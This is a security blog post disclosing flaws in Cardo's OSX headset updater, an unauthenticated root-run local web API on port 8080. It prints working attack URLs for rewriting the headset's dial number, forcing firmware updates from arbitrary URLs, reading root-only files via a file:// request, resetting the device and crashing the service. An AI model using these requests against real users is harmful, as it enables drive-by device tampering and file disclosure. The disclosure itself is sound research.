June 2014 Archives

Tue Jun 3 11:17:25 CEST 2014

Ride With The Devil

One of my beloved hobbies is to ride my motorcycle together with my wife and to travel around. To increase the communication abilities I was looking for a decent Bluetooth intercom kit. There are three main players in this market. Cardo systems (http://www.cardosystems.com) is one of the most recognisable brands in this part of the world.

The main features I was looking for were sound quality, compatibility and upgradeability of the firmware to get fixes and features. After researching a bit, I decided to go with a scala rider Q3 (http://www.cardosystems.com/motorcycles/scala-rider-q3) which is a mid-class product with nice features.

First of all, operationally and functionally I really do like this system. It has good quality at a fair price. But thats pretty much all. It is a completely different story when it comes to security.

According to the manual, the website cardosystems.com/upgrade can be accessed to get the required software and to configure the Q3's settings. After having access to the community, I could download the required cardo-updater software, which is available for Windows and OSX. So I download the OSX version (http://community1.cardosystems.com/files/q0/macbcif/Cardo_Updater_1.7.pkg) and installed it.

During the installation, I was informed by my application monitor Hands Off! (https://www.oneperiodic.com/products/handsoff/) that a new binary "cardo-updater" (running as root!) wants to bind itself to TCP port 8080. Wait a minute. Wtf ... listening on port 8080? After further investigation, I recognised that the binary is installed as a LaunchAgent and thus the application is executed as root. Just to make this clear - I just installed a service running as root and listening on port 8080 on every interface of my computer -- what could possibly go wrong?

 sudo lsof -i | grep LISTEN | grep -i cardo
 cardo-upd 37333           root    7u  IPv4 0x95ffbcff24844da1      0t0    TCP *:http-alt (LISTEN)

 $nc -v 127.0.0.1 8080
 found 0 associations
 found 1 connections:
     1:        flags=82
        outif lo0
        src 127.0.0.1 port 57910
        dst 127.0.0.1 port 8080
        rank info not available
        TCP aux info available

 Connection to 127.0.0.1 port 8080 [tcp/http-alt] succeeded!
 GET / HTTP/1.1

 HTTP/1.1 500 Internal error
 Cache: no-cache
 Content-Type: text/plain
 Content-Length: 28

I started a sniffer and the all beloved burp proxy and made sure that I see all the communication going on between this service and anything else. As soon the the cardo-updater service was runing the community website of cardosystems did recognize my Q3 device and displayed a website to configure the individual settings, upgrade the firmware and synch the settings to my actual headset.

After a few minutes, it was obvious that Cardo did something very strange. I played around with the web application and discovered that it works beautiful, but completely insecure! The configuration website basically consists out of a GAZILLION of javascripts building requests, that are sent to the locally installed and running webservice. The main API is available at http://community1.cardosystems.com/application/modules/Headsets/externals/g9/scripts/cardojs.interface.js.

Depending on what setting you change on the Cardo website, a corresponding request will be constructed and executed. The following URL sent to the local running service will set the fast-dial number (0049552222266) on my headset:

 http://XXX.XXX.XXX.XXX/cardo/api?callback=CardoJS.Interface.UniversalCallback&_id=t4Rk79EsoY&data={%22RequestType%22:%22WritePSKey%22,%22PSKey%22:{%22Key_no%22:674,%22Length%22:7,%22Value%22:%223030343935353232323232363600%22},%22RequestID%22:%22t4Rk79EsoY%22}

Yes, I know what your are thinking and yes ... it's completely unauthenticated and the RequestID field is only an identifier used to identify responses in case of asynchronous commands. If you post such an URL to the Cardo community sites ... guess what. Everyone accessing the URL will automatically alter their configuration of the fast-dial number in the attached headset. One could configure an expensive service/dialer number or just changing other settings. - NO way!

Yep and it was even worse - check the following URL:

 http://127.0.0.1:8080/cardo/api?callback=CardoJS.Interface.UniversalCallback&_id=1r&data={%22RequestType%22:%22UpdateFirmware%22,%22CSR%22:%22http://www.modzero.ch/images/modzero-logo.png%22}

This specific request will initiate a firmware update of the device with the firmware image provided as CSR parameter. Everyone able to build a firmware or patch an existing one could distribute it automatically to users clicking the link. CSR is referring to the built-in bluetooth chip. The required IDE as well as the corresponding tools like the BlueSuite can be acquired from CSR or discovered in various download locations. Being an old Bluetooth guy and knowing some bits about the CSR, i know that there are a lot of tools built in into the Bluez framework of Linux. You can interact with the chip using bccmd, pstool or dfutool. The later one allows you to make a backup of your existing firmware of the device.

So to recapitulate, the cardo-updater is basically a webserver to libusb gateway, completely unprotected and unauthenticated, binding to all interfaces, running as root on OSX and as a regular user on windows (at least).

After playing around with the requests and reading some of the JavaScript API, I identified a local privilege escalation that make any file on the computer world readable. By using dtruss I could further identify what happens when cardo-updater processes the firmware update request. See the following attacking URL and the truncated output of dtruss:

Attacking URL: http://127.0.0.1:8080/cardo/api?callback=CardoJS.Interface.UniversalCallback&_id=1r&data={%22RequestType%22:%22UpdateFirmware%22,%22CSR%22:%22file:///etc/master.passwd%22}

write_nocancel(0x1, "Request: {\"RequestType\":\"UpdateFirmware\",\"CSR\":\"file:///etc/master.passwd\"}\n\0", 0x4C)                 = 76 0
write_nocancel(0x1, "Handling request '' of type UpdateFirmware\n\0", 0x2B)                 = 43 0
write_nocancel(0x1, "Synchronized request '' of type UpdateFirmware queued. Waiting completion\n\0", 0x4A)                 = 74 0

open_nocancel("/dev/random\0", 0x0, 0x0)                 = 14 0
lstat64("/var/tmp/tmp.0.kb5LLv\0", 0xB0114688, 0x80)                 = -1 Err#2
open_nocancel("/var/tmp/tmp.0.kb5LLv\0", 0x601, 0x1B6)                 = 12 0
write_nocancel(0x1, "Downloading new CSR firmware from website\n\0", 0x2A)                 = 42 0
open("/etc/master.passwd\0", 0x0, 0x0)                 = 14 0

In line with my assumptions, dtruss showed that the firmware file provided as a parameter to the URL will be "downloaded" into a temporary file and later validated. In this case /var/tmp/tmp.0.kb5LLv. Later in the procedure the update will fail, as this is obviously no valid CSR firmware, but the tempfile is still there and readable fore everyone.

$ ls -las /var/tmp/tmp.0.kb5*
16 -rw-r--r--  1 root  wheel  5633 May 27 11:08 /var/tmp/tmp.0.kb5LLv

$ cat /var/tmp/tmp.0.kb5*
##
# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2::0:0:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0::0:0:System Administrator:/var/root:/bin/sh

While master.passwd is not a critical file, it served the purpose well. This piece of crappy software is copying root-only files to the temp location and makes it world-readable!

After playing around a bit with the API and URLs, I wondered what else would work, and what vulnerability would be present. Using strings the following list of commands have been discovered, I added some comments to it:

UpdateFirmware (Initiate a firmware update on CSR chip or the DSP)
GetCurrentStatus (Get the status of the device) 
GetResult (Get a result of a given operation, thats why RequestID is required) 
Echo (Guess what :-)) 
ReadPSKey (Read a PSKey value) 
WritePSKey (Write a PSKey value) 
DeletePSKey (Delete a PSKey value) 
WriteDSPMem (Could not be tested, as my device does not support DSP commands) 
ReadDSPMem (Could not be tested, as my device does not support DSP commands)
ExecuteColdReset (Resets and reboots the device)

So e.g http://127.0.0.1:8080/cardo/api?callback=CardoJS.Interface.UniversalCallback&_id=1r&data={%22RequestType%22:%22ExecuteColdReset%22} will instantly reboot the attached headset.

Using the PSKey commands you can alter the configuration of the device, in fact this can be done using pstools or bccmd under linux as well instead of using this crappy software. I wont explain the concept of PSKey's here. Google for CSR bluecore and PSKey if you like to know more about it. This is a common feature and Cardo uses this to store its configuration values persistently. (E.g. The PSKey with the value 674 (0x02a2) holds the quick dial number.)

So whats next. Well by browsing through the cardo-updater binary using a disassembler, I discovered a strange URL.

http://127.0.0.1:8080/test

The cardo-updater crashed. So after attaching gdb, I learned that it seems to have a NULL pointer issue.

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00000000
[Switching to process 45870 thread 0x2503]
0x95c26710 in strlen ()
(gdb)
(gdb) bt
#0  0x95c26710 in strlen ()
#1  0x98aa94ca in std::string::operator= ()
#2  0x0003d4ec in Mediator::HandleNewRequest ()
#3  0x0003c954 in Mediator::HandleMongooseNewRequest ()
#4  0x0003c22b in HttpServer::MongooseEventHandler ()
#5  0x0000fea3 in call_user ()
#6  0x000195d0 in handle_request ()
#7  0x00019dce in process_new_connection ()
#8  0x00019fb8 in worker_thread ()
#9  0x901c75fb in _pthread_body ()
#10 0x901c7485 in _pthread_start ()
#11 0x901cccf2 in thread_start ()
(gdb)

In fact the reason for that issue is, that the software is expecting to parse a parameter added to the test URL. See the following example URL: http://127.0.0.1:8080/test?AAAAAA

So as the output of gdb indicates, it is assumed that the cardo-updater wants to conduct a length check on the parameter. If there is no parameter, the pointer will be NULL and thus the memory access to 0x000000 will happen and the application will crash. Cardo, what is wrong? To difficult to check the number of arguments?

This software takes your computer system at risk by opening a unauthenticated, unencrypted listening port on all interfaces and binding a fragile pice of software to it. Everyone with this software running and the headset attached can be a target of a drive-by style firmware upgrade or reconfiguration of their headset.

The vendor has been informed about this blogpost and the software is removed from my systems. Everyone with the cardo-updater installed should do the same.

Hey cardosystems, fix your stuff.

P.S. I don't have any insights on they G9x headsets and their software. There is an Android and an iOS application available but I didn't investigated anything there, as my Q3 is not supported. Feel free to send me a G9x and I might check it out.


Posted by Max Moser | Permanent link